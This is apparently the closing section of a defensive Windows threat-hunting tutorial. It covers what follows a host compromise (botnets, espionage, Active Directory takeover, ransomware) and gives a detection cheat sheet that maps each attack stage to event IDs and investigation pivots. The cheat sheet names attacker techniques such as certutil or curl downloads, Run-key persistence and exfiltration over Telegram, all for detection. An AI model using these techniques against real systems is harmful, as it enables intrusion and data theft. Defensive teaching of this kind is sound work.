1. Botnet: reuse the host for more attacks (e.g. Kraken: crypto miner + stealer + C2 in one)
2. Espionage: stay hidden for a long time (e.g. Volt Typhoon, undetected in US electric grid networks for ~a year)
3. Network entry point: use the host to break into the whole Active Directory network, which can take weeks (e.g. a 29-day full-network breach)

Where it leads: Active Directory → ransomware

• Most Windows networks are Active Directory domains. One compromised workstation can become the entire domain.
• Ransomware is the business-ending outcome: servers encrypted, data stolen and threatened with leak (double extortion), ransom notes even printed on every office printer (e.g. INC Ransom; McLaren hospitals, ~743,000 patients affected).
• Every big ransomware incident starts with one small breach, the kind covered in Tutorials 1–4. Your goal is to stop it right after Initial Access, before Impact.

6. Cheat Sheet

Persistence detection matrix

The question that solves most cases

"Which process created this persistence, and how did that process get here?" The Image / Subject Logon ID on the creation event leads back to the dropper, then to Initial Access. Use Tutorial 1–3 pivots (Logon ID, ProcessGuid).

Full attack chain covered in Tutorials 1–4

Initial Access   RDP brute force · phishing (EXE/LNK) · USB              (T2)
Execution        explorer.exe → payload                                  (T2)
C2               payload → beacon to attacker                            (T4)
Discovery        whoami / ipconfig / net / tasklist burst                (T3)
Ingress Tools    curl / certutil / IWR downloads                         (T3)
Persistence      4720+4732 · service · task · Startup · Run key          (T4)
Collection       notepad/wordpad on sensitive files · archives           (T3)
Exfiltration     cloud storage · Telegram · look-alike domains           (T3)
Impact           ransomware across Active Directory                      (T4)